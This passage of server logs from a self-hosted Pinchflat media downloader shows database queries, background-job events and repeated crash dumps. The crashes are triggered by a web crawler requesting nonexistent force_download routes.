s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:14.960 [debug] QUERY OK source="settings" db=1.4ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:14.961 [debug] QUERY OK source="media_profiles" db=0.8ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:48:14.963 [debug] QUERY OK source="media_profiles" db=1.6ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:48:15.381 [info] Sent 200 in 468ms 18:48:15.487 [info] Sent 200 in 575ms 18:48:16.050 [info] GET /sources/2/media/21741 18:48:16.050 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "21741", "source_id" => "2"} Pipelines: [:browser] 18:48:16.052 [debug] QUERY OK source="media_items" db=0.8ms queue=0.4ms idle=1090.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [21741] 18:48:16.054 [debug] QUERY OK source="sources" db=1.3ms idle=1089.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:48:16.055 [debug] QUERY OK source="tasks" db=2.0ms queue=0.1ms idle=1091.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [21741] 18:48:16.057 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=1038.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:16.058 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=983.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:16.060 [debug] QUERY OK source="settings" db=0.5ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:16.062 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:48:16.356 [info] Sent 200 in 305ms 18:48:16.601 [info] {"source":"oban","duration":2449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:37.364 [info] GET /sources/2/media/27331/force_download 18:48:37.365 [info] GET /media/33f37d5b-cd8c-4d05-aa7a-8fdcd761d823/stream 18:48:37.367 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "33f37d5b-cd8c-4d05-aa7a-8fdcd761d823"} Pipelines: [:maybe_basic_auth] 18:48:37.369 [debug] QUERY OK source="settings" db=3.4ms queue=0.7ms idle=1650.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:37.372 [debug] QUERY OK source="settings" db=0.6ms queue=0.4ms idle=1241.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:37.372 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:48:37.374 [error] #PID<0.1304914.0> running PinchflatWeb.Endpoint (connection #PID<0.1304911.0>, stream id 1) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/2/media/27331/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/27331/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304911.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/27331/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 41044}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1304914.0>, params: %{}, path_info: ["sources", "2", "media", "27331", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/27331/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgenhimidDZjqgADNRC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304911.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/27331/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 41044}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/27331/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304911.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/27331/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 41044}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1304914.0>, params: %{}, path_info: ["sources", "2", "media", "27331", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/27331/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgenhimidDZjqgADNRC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: Pinc (truncated) 18:48:37.498 [debug] QUERY OK source="media_items" db=129.6ms queue=0.1ms idle=1652.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["33f37d5b-cd8c-4d05-aa7a-8fdcd761d823"] 18:48:37.792 [debug] Invalid range request for media item: 33f37d5b-cd8c-4d05-aa7a-8fdcd761d823 - serving full file 18:48:37.792 [info] Sent 200 in 427ms 18:48:37.873 [info] GET /sources/2/media/24133 18:48:37.873 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "24133", "source_id" => "2"} Pipelines: [:browser] 18:48:37.875 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1158.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [24133] 18:48:37.877 [debug] QUERY OK source="tasks" db=0.9ms idle=743.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [24133] 18:48:37.877 [debug] QUERY OK source="sources" db=1.2ms idle=506.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:48:37.879 [debug] QUERY OK source="settings" db=0.6ms idle=506.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:37.880 [debug] QUERY OK source="settings" db=0.5ms idle=381.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:37.881 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:37.883 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:48:38.289 [info] Sent 200 in 415ms 18:48:46.603 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:00.952 [info] {"source":"oban","duration":457,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:49:16.605 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:27.729 [info] GET /sources/2/media/26533/force_download 18:49:27.732 [debug] QUERY OK source="settings" db=2.0ms queue=0.1ms idle=1014.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:49:27.733 [info] GET /sources/2/media/25733/force_download 18:49:27.736 [debug] QUERY OK source="settings" db=2.7ms queue=0.1ms idle=418.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:49:27.736 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:49:27.736 [debug] QUERY OK source="settings" db=2.1ms idle=19.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:49:27.739 [debug] QUERY OK source="settings" db=2.4ms idle=21.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:49:27.740 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:49:27.737 [error] #PID<0.1304939.0> running PinchflatWeb.Endpoint (connection #PID<0.1304938.0>, stream id 1) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/2/media/26533/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/26533/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304938.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/26533/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 58240}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1304939.0>, params: %{}, path_info: ["sources", "2", "media", "26533", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/26533/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgeqdKjaDAu3oIADjxh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304938.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/26533/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 58240}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/26533/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304938.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/26533/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 58240}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1304939.0>, params: %{}, path_info: ["sources", "2", "media", "26533", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/26533/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgeqdKjaDAu3oIADjxh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: Pinc (truncated) 18:49:27.741 [error] #PID<0.1304940.0> running PinchflatWeb.Endpoint (connection #PID<0.1304941.0>, stream id 1) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/2/media/25733/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/25733/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304941.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/25733/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 58224}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1304940.0>, params: %{}, path_info: ["sources", "2", "media", "25733", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/25733/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgeqdKs3JYjTgwADjxx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, 